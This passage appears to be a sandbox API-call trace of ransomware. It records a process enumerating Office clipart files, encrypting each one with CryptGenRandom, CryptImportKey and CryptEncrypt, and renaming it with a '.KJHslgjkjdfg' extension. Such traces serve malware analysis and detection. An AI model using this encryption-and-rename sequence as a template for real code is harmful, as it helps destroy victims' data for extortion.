ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0184.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.702] GetProcessHeap () returned 0x2a0000 [0184.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.703] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.705] GetProcessHeap () returned 0x2a0000 [0184.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.706] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.706] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.706] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1172, lpOverlapped=0x0) returned 1 [0184.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1180, dwBufLen=0x1180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1180) returned 1 [0184.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.707] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1180, lpOverlapped=0x0) returned 1 [0184.708] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.708] SetEndOfFile (hFile=0x114) returned 1 [0184.710] GetProcessHeap () returned 0x2a0000 [0184.710] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.710] GetProcessHeap () returned 0x2a0000 [0184.710] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.kjhslgjkjdfg")) returned 1 [0184.712] CloseHandle (hObject=0x114) returned 1 [0184.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0184.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.714] GetProcessHeap () returned 0x2a0000 [0184.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.714] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.717] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.717] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.717] GetProcessHeap () returned 0x2a0000 [0184.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.717] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.717] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.717] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.718] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.718] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.718] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20ca, lpOverlapped=0x0) returned 1 [0184.719] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20d0, dwBufLen=0x20d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20d0) returned 1 [0184.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.719] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20d0, lpOverlapped=0x0) returned 1 [0184.719] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.719] SetEndOfFile (hFile=0x114) returned 1 [0184.722] GetProcessHeap () returned 0x2a0000 [0184.722] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.722] GetProcessHeap () returned 0x2a0000 [0184.722] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.kjhslgjkjdfg")) returned 1 [0184.724] CloseHandle (hObject=0x114) returned 1 [0184.724] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0184.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.725] GetProcessHeap () returned 0x2a0000 [0184.725] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.725] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.725] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.738] GetProcessHeap () returned 0x2a0000 [0184.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.739] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.739] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.739] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.739] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.739] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21c2, lpOverlapped=0x0) returned 1 [0184.747] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21d0, dwBufLen=0x21d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21d0) returned 1 [0184.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21d0, lpOverlapped=0x0) returned 1 [0184.747] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.748] SetEndOfFile (hFile=0x114) returned 1 [0184.750] GetProcessHeap () returned 0x2a0000 [0184.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.750] GetProcessHeap () returned 0x2a0000 [0184.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.kjhslgjkjdfg")) returned 1 [0184.752] CloseHandle (hObject=0x114) returned 1 [0184.752] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0184.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.753] GetProcessHeap () returned 0x2a0000 [0184.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.753] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.754] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.756] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.756] GetProcessHeap () returned 0x2a0000 [0184.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.756] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.757] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.757] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x21ec, lpOverlapped=0x0) returned 1 [0184.758] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x21f0) returned 1 [0184.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x21f0, lpOverlapped=0x0) returned 1 [0184.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.759] SetEndOfFile (hFile=0x114) returned 1 [0184.762] GetProcessHeap () returned 0x2a0000 [0184.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.762] GetProcessHeap () returned 0x2a0000 [0184.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.kjhslgjkjdfg")) returned 1 [0184.763] CloseHandle (hObject=0x114) returned 1 [0184.763] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0184.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.766] GetProcessHeap () returned 0x2a0000 [0184.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.766] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: 